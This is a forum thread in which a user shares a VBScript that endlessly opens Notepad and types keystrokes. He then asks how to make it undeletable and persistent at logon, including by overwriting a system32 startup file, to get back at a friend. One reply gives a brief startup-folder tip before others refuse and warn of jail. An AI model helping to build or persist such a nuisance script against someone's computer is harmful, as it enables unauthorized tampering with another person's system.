Log in

View Full Version : How to make a script undeleteable???



DamaGe2100
01-05-2009, 04:55 PM
I have a script which looks like this:

On Error Resume Next
Set WSHShell = WScript.CreateObject("WScript.Shell")

WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad", 1
WshShell.AppActivate "ÞÐÀÀÀÀÀÀÀÀÀÀÀ ÀÕÀÕÀÕÀÕÀÕÀÕÀÕ "
dim ms(25)
ms(0) = "1"
ms(1) = "2"
ms(2) = "3"
ms(3) = " "
ms(4) = "4"
ms(5) = " "
ms(6) = "5"
ms(7) = "6"
ms(8) = "7"
ms(9) = "8"
ms(10) = "9"
ms(11) = " "
ms(12) = "10"
ms(13) = "11"
ms(14) = "12"
ms(15) = "13"
ms(16) = "14"
ms(17) = "15"
ms(18) = Chr(13)
ms(19) = "~"

WScript.Sleep 1000
dy=0
do while(1)
dy=dy+1
For Each Item in ms
WScript.Sleep 25
WshShell.SendKeys Item
next
loop



It's a simple .exe file, but what should I do to make it undeleateable and to make it start every time a user log on to his computer???

jscheuer1
01-05-2009, 05:22 PM
Set it to read only and put it in the startup folder.

DamaGe2100
01-05-2009, 05:38 PM
Well it should work if i wanted to do it on my computer, but can i make the script to copy itself to a folder, for example ''system32'' where it overwrites another file, which windows automaticly opens on startup???

jscheuer1
01-05-2009, 06:11 PM
That sounds a little too much like hacking. Why do you want to do this?

DamaGe2100
01-05-2009, 07:04 PM
Well, today I got a prank script from a friend which almost broke my system permanently. I just want to send him back something much more worse.
I wish to make a script which turn's on every time he would log on. And the only way he could get rid off it would be format C:\ or complete windows reinstalling.

Snookerman
01-05-2009, 07:07 PM
You are in the wrong forum, DD doesn't support that kind of behavior.

Nile
01-05-2009, 07:08 PM
If you would like an answer to that question. Please direct yourself to a hacking forum. 2 wrongs don't make a right. As Snookerman said - please don't ask anymore hacking questions again.

DamaGe2100
01-05-2009, 07:13 PM
Well okay! Thank's for you're support! I'll search somewhere else.
I'm sorry for this Thread!

boogyman
01-05-2009, 08:04 PM
better yet... don't have this person as a friend anymore?

because if you get caught performing this type of action you can go to jail.